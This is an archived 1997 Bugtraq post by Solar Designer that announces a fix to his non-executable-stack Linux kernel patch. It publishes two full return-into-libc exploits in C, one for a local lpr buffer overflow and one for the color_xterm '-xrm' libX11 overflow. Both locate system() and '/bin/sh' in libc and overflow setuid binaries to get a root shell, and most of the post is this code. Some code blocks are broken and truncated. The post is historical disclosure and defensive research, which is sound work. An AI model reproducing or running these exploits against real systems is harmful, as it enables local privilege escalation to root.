



Nmap Security Scanner

- Ref Guide
- Install Guide
- Download
- Changelog
- Book
- Docs

Npcap packet capture library

- User's Guide
- API docs
- Download
- Changelog

Security Lists

- Nmap Announce
- Nmap Dev
- Bugtraq
- Full Disclosure
- Pen Test
- Basics
- More

Security Tools

- Password audit
- Sniffers
- Vuln scanners
- Web scanners
- Wireless
- Exploitation
- Packet crafters
- More

Site News Advertising About/Contact



[Bugtraq](#) mailing list archives

[← By Date →](#)[← By Thread →](#)

Getting around non-executable stack (and fix)

From: solar () FALSE COM (Solar Designer)

Date: Sun, 10 Aug 1997 17:29:46 -0300

Hello!

I finally decided to post a return-into-libc overflow exploit. This method has been discussed on linux-kernel list a few months ago (special thanks to Pavel Machek), but there was still no exploit. I'll start by speaking the fix, you can find the exploits (local only) below.

[I recommend that you read the entire message even if you aren't running Linux since a lot of the things described here are applicable to other systems as well (perhaps someone will finally exploit those overflows in Digital UNIX discussed here last year?). Also, this method might sometimes be better than usual one (with shellcode) even if the stack is executable.

You can find the fixed version of my non-executable stack Linux kernel patch at <http://www.false.com/security/linux-stack/>.

The problem is fixed by changing the address shared libraries are mmap()'ed in such a way so it always contains a zero byte. With most vulnerable systems the overflow is done with an ASCII string, so this prevents the attack from passing parameters to the function, and from filling the buffer with a pattern (requires to know the exact offset of the return address). I hope someone might still find a libc function with no parameters (this also has to be a single function, you can't call several of them in a row) that does enough harm, and find the exact offset of the return address. However, this gets quite complicated, especially for remote exploits, and especially those where you have to guess from the first try (and you also need to know the address in libc). So, like before, fix known vulnerabilities, and use the patch to add an extra layer of security against those yet unknown.

I also fixed a bug with the binary header flag which allowed local users to bypass the patch. Thanks to retch for reporting.

And one more good thing: I added a symlink-in-/tmp fix, originally by Adam Tridgell. I changed it to prevent from using hard links too, by simply allowing non-root users to create hard links to files they don't own, in sub-directories. This seems to be the desired behavior anyway, since other users couldn't remove such links they just created. I also added explicit attempt logging, this code is shared with the non-executable stack stuff and was the reason to make it a single patch instead of two separate ones. You can enable them separately anyway.

And now here goes the exploit for the well-known old overflow in lpr. The first one is simple, so it looks like a good starting point. Note: it doesn't contain any assembly code, there's only a NOP opcode, but this one will most likely not be used, it's for the case when system() is occasionally called at a 256 byte boundary. The exploit also doesn't have any fixed address

Be sure to read comments in the exploit before you look at the next or

```
-- lpr.c --<

/*
 * /usr/bin/lpr buffer overflow exploit for Linux with non-executable st
 * Copyright (c) 1997 by Solar Designer
 */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>

#define SIZE          1200      /* Amount of data to overflow with */
#define ALIGNMENT     11       /* 0, 8, 1..3, 9..11 */

#define ADDR_MASK     0xFF000000

char buf[SIZE];
int *ptr;

int pid, pc, shell, step;
int started = 0;
jmp_buf env;

void handler() {
    started++;
}

/* SIGSEGV handler, to search in libc */
void fault() {
    if (step < 0) {
        /* Change the search direction */
        longjmp(env, 1);
    } else {
        /* The search failed in both directions */
        puts("/bin/sh\" not found, bad luck");
        exit(1);
    }
}

void error(char *fn) {
    perror(fn);
    if (pid > 0) kill(pid, SIGKILL);
    exit(1);
}

void main() {
    signal(SIGUSR1, handler);

    /* Create a child process to trace */
    if ((pid = fork()) < 0) error("fork");

    if (!pid) {
        /* Send the parent a signal, so it starts tracing */
        kill(getppid(), SIGUSR1);
        /* A loop since the parent may not start tracing immediately */
        while (1) system("");
    }
}
```

```

    }

/* Wait until the child tells us the next library call will be system()
   while (!started);

   if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");

/* Single step the child until it gets out of system() */
do {
    waitpid(pid, NULL, WUNTRACED);
    pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
    if (pc == -1) error("PTRACE_PEEKUSR");
    if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
} while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));

/* Single step the child until it calls system() again */
do {
    waitpid(pid, NULL, WUNTRACED);
    pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
    if (pc == -1) error("PTRACE_PEEKUSR");
    if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
} while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));

/* Kill the child, we don't need it any more */
if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
pid = 0;

printf("system() found at: %08x\n", pc);

/* Let's hope there's an extra NOP if system() is 256 byte aligned */
if (!(pc & 0xFF))
    if (*(unsigned char *)--pc != 0x90) pc = 0;

/* There's no easy workaround for these (except for using another function)
   if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {
       puts("Zero bytes in address, bad luck");
       exit(1);
   }

/*
 * Search for a "/bin/sh" in libc until we find a copy with no zero bytes
 * in its address. To avoid specifying the actual address that libc is
 * mmap()'ed to we search from the address of system() in both directions
 * until a SIGSEGV is generated.
 */
if (setjmp(env)) step = 1; else step = -1;
shell = pc;
signal(SIGSEGV, fault);
do
    while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
signal(SIGSEGV, SIG_DFL);

printf("/bin/sh" found at: %08x\n", shell);

/*
 * When returning into system() the stack should look like:
 *
 *                               pointer to "/bin/sh"
 *                               return address placeholder
 * stack pointer ->             pointer to system()
 *
 * The buffer could be filled with this 12 byte pattern, but then we would
 * need to try up to 12 values for the alignment. That's why a 16 byte
 * is used instead:
 *
 *                               pointer to "/bin/sh"

```

```

*                                     pointer to "/bin/sh"
* stack pointer (case 1) ->         pointer to system()
* stack pointer (case 2) ->         pointer to system()
*
* Any of the two stack pointer values will do, and only up to 8 value
* the alignment need to be tried.
*/
memset(buf, 'x', ALIGNMENT);
ptr = (int *) (buf + ALIGNMENT);
while ((char *)ptr < buf + SIZE - 4*sizeof(int)) {
    *ptr++ = pc; *ptr++ = pc;
    *ptr++ = shell; *ptr++ = shell;
}
buf[SIZE - 1] = 0;

execl("/usr/bin/lpr", "lpr", "-C", buf, NULL);
error("execl");
}

```



```

-- lpr.c --<

```

The exploit above will crash after you exit the shell. This can be fixed using a 12 byte pattern (like described in the comment), and setting the return address to point to `exit()` (we would need to find it first). This would however increase the number of possible alignment values to try 8 to 12, so I don't do it.

Now, a more complicated exploit, for the `-xrm libX11` overflow. It has been tested with `color_xterm` from Slackware 3.1. Will also work on other `xt` (tested with `xterm` and `nxterm` from RedHat 4.2), but providing a user session (not root), since these temporarily give up their privileges, and an `exec` `setuid()` call would be required.

Actually, using this method it is possible to call two functions in a row if the first one has exactly one parameter. The stack should look like

```

                                     pointer to "/bin/sh"
                                     pointer to the UID (usually to 0)
                                     pointer to system()
stack pointer ->                     pointer to setuid()

```

This will require up to 16 values for the alignment. In this case, `setuid()` will return into `system()`, and while `system()` is running the pointer to `setuid()` will be at the place where `system()`'s return address should normally be (again) the thing will crash after you exit the shell (but no solution for the time; who cares anyway?). I leave this `setuid()` stuff as an exercise for the reader.

Another thing specific to this exploit is that `GetDatabase()` in `libX11` returns its parameter right before returning, so if we overwrite the return address and a few bytes after it (like normal pattern filling would do), the exploit wouldn't work. That was the reason the `-xrm` exploits posted were not successful and required to adjust the size exactly. With returning into `libc`, this is not possible at all, since parameters to `libc` function should be right after the return address. That's why I do a trick similar to my `SuperProbe` exploit: I overwrite a pointer to a structure that has a function pointer in it (the function also has exactly one parameter, I was extremely lucky here again).

This trick requires three separate buffers filled with different patterns. The first buffer is what I overflow with, while the two others are put on the stack separately (to make them larger). Again, there's no correct return address from `system()`, and a pointer to some place on the stack is the return address. This makes it behave quite funny when you exit the shell: an exploit a

is logged (when running my patch), since `system()` returns onto the stack. You can just kill the vulnerable program you're running from instead of exiting the shell if this is undesired.

Note that you have to link the exploit with the same shared libraries as the vulnerable program. Also, it might be required to add 4 to `ALIGNMENT` if the exploit doesn't work, even if it worked when running as another user.

```
-- cx.c --<

/*
 * color_xterm buffer overflow exploit for Linux with non-executable stack
 * Copyright (c) 1997 by Solar Designer
 *
 * Compile:
 * gcc cx.c -o cx -L/usr/X11/lib \
 * `ldd /usr/X11/bin/color_xterm | sed -e s/^\.lib/-l/ -e s/\\\so.\\\+
 *
 * Run:
 * $ ./cx
 * system() found at: 401553b0
 * "/bin/sh" found at: 401bfa3d
 * bash# exit
 * Segmentation fault
 */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>

#define SIZE1          1200      /* Amount of data to overflow with */
#define ALIGNMENT1    0         /* 0..3 */
#define OFFSET        22000     /* Structure array offset */
#define SIZE2         16000     /* Structure array size */
#define ALIGNMENT2    5         /* 0, 4, 1..3, 5..7 */
#define SIZE3         SIZE2
#define ALIGNMENT3    (ALIGNMENT2 & 3)

#define ADDR_MASK      0xFF000000

char buf1[SIZE1], buf2[SIZE2 + SIZE3], *buf3 = &buf2[SIZE2];
int *ptr;

int pid, pc, shell, step;
int started = 0;
jmp_buf env;

void handler() {
    started++;
}

/* SIGSEGV handler, to search in libc */
void fault() {
    if (step < 0) {
        /* Change the search direction */
        longjmp(env, 1);
    } else {
        /* The search failed in both directions */
    }
}
```

```

        puts("/bin/sh\" not found, bad luck");
        exit(1);
    }
}

void error(char *fn) {
    perror(fn);
    if (pid > 0) kill(pid, SIGKILL);
    exit(1);
}

int nz(int value) {
    if (!(value & 0xFF)) value |= 8;
    if (!(value & 0xFF00)) value |= 0x100;

    return value;
}

void main() {
    /*
     * A portable way to get the stack pointer value; why do other exploit
     * an assembly instruction here?!
     */
    int sp = (int)&sp;

    signal(SIGUSR1, handler);

    /* Create a child process to trace */
    if ((pid = fork()) < 0) error("fork");

    if (!pid) {
        /* Send the parent a signal, so it starts tracing */
        kill(getppid(), SIGUSR1);
        /* A loop since the parent may not start tracing immediately */
        while (1) system("");
    }

    /* Wait until the child tells us the next library call will be system()
       while (!started);

    if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");

    /* Single step the child until it gets out of system() */
    do {
        waitpid(pid, NULL, WUNTRACED);
        pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
        if (pc == -1) error("PTRACE_PEEKUSR");
        if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
    } while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));

    /* Single step the child until it calls system() again */
    do {
        waitpid(pid, NULL, WUNTRACED);
        pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
        if (pc == -1) error("PTRACE_PEEKUSR");
        if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
    } while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));

    /* Kill the child, we don't need it any more */
    if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
    pid = 0;

    printf("system() found at: %08x\n", pc);

    /* Let's hope there's an extra NOP if system() is 256 byte aligned */

```

```

    if (!(pc & 0xFF))
    if (*(unsigned char *)--pc != 0x90) pc = 0;

/* There's no easy workaround for these (except for using another func
   if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {
       puts("Zero bytes in address, bad luck");
       exit(1);
   }

/*
 * Search for a "/bin/sh" in libc until we find a copy with no zero byt
 * in its address. To avoid specifying the actual address that libc is
 * mmap()ed to we search from the address of system() in both directio
 * until a SIGSEGV is generated.
 */
if (setjmp(env)) step = 1; else step = -1;
shell = pc;
signal(SIGSEGV, fault);
do
    while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
signal(SIGSEGV, SIG_DFL);

printf("/bin/sh\" found at: %08x\n", shell);

/* buf1 (which we overflow with) is filled with pointers to buf2 */
memset(buf1, 'x', ALIGNMENT1);
ptr = (int *) (buf1 + ALIGNMENT1);
while ((char *)ptr < buf1 + SIZE1 - sizeof(int))
    *ptr++ = nz(sp - OFFSET);          /* db */
buf1[SIZE1 - 1] = 0;

/* buf2 is filled with pointers to "/bin/sh" and to buf3 */
memset(buf2, 'x', SIZE2 + SIZE3);
ptr = (int *) (buf2 + ALIGNMENT2);
while ((char *)ptr < buf2 + SIZE2) {
    *ptr++ = shell;                   /* db->mbstate */
    *ptr++ = nz(sp - OFFSET + SIZE2); /* db->methods */
}

/* buf3 is filled with pointers to system() */
ptr = (int *) (buf3 + ALIGNMENT3);
while ((char *)ptr < buf3 + SIZE3 - sizeof(int))
    *ptr++ = pc;                      /* db->methods->mbfinish */
buf3[SIZE3 - 1] = 0;

/* Put buf2 and buf3 on the stack */
setenv("BUFFER", buf2, 1);

/* GetDatabase() in libX11 will do (*db->methods->mbfinish)(db->mbstate
   execl("/usr/X11/bin/color_xterm", "color_xterm", "-xrm", buf1, NULL)
   error("execl");
}

```

-- cx.c --<

That's all for now.

I hope I managed to prove that exploiting buffer overflows should be an

Signed,
Solar Designer



[By Date](#) [By Thread](#)

Current thread:

[popper and qpopper let you read email from other pop clients](#) *dynamo ()*

IME NET (Aug 07)

| [Re: popper and qpopper let you read email from other pop clients](#) *Ian R. Justman (Aug 08)*

| | [solaris ^\[\[1J reboot](#) *Tobias Oetiker (Aug 10)*

| | | [Re: solaris ^\[\[1J reboot](#) *Scott Moseman (Aug 11)*

| | [Re: popper and qpopper let you read email from other pop clients](#) *Marc Slemko (Aug 10)*

| | [dgux in.fingerd vulnerability](#) *George Imburgia (Aug 11)*

| | [procfs patch \(fwd\)](#) *Alex (Aug 11)*

| **Getting around non-executable stack (and fix)** *Solar Designer (Aug 10)*

| [Nmap](#) | [Npcap](#) | [Sec Tools](#) | [Mailing Lists](#) | [Site News](#) | [About/Contact](#) | [Advertising](#) | [Privacy](#) |

Site Search

